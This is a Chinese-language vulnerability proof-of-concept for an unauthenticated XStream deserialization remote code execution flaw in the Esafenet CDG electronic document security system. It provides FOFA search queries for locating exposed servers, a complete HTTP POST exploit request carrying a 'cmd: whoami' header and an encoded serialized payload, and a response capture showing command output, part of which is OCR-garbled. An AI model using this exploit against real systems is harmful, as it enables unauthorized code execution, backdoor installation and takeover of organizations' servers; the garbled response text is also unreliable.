Y5-19亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

效果图: Request 〈 〉 数据包扫描 热加载 构造请求 Responses https 118bytes / 78ms HTTP/1.1.200 POST · /CDGServer3/SystemService?command=GETSYSTEMINFO · HTTP/1.1 Set-Cookie: JSESSIONID=1E0D008D00F0052BBA7 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0. HttpOnlv 2225.0 Safari/537.36 Date: Wed, 31 Jan 2024 21:07:34 GMT Accept-Encoding: gzip, deflate, br Connection: close Connection: close Content-Length: 118 Content-Type: text/xml Linux localhost.localdomain 3.10.0-1160.el x86_64 x86_64 x86_64 GNU/Linux NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN ${\tt EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFCOMMEDIJNFCOMMEDIJNF$ MFGBDOTOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOB HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNTHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB ${\tt GKGEJCMGOFEKGJEMNAFLDGEE0BKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD}$ GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ TDEHNNI NNHEONJEJHNI HI PMBBEJDI LJI I NPKTMGHLOFMMKRDERHNEL PGEOKMHOENRI I AALGMKNJONNGTOJI BEECJNI KHMRCKEL DP BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA NPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG KKMI KCRRPF003CKFFTMI CODI OFNOTEHENI 3NOEDAMKEI HTADRNGANHTANHOCHI TI NJI OCOHEHMNEHAI 3HOPGKI OPHI MEI 3FRTARE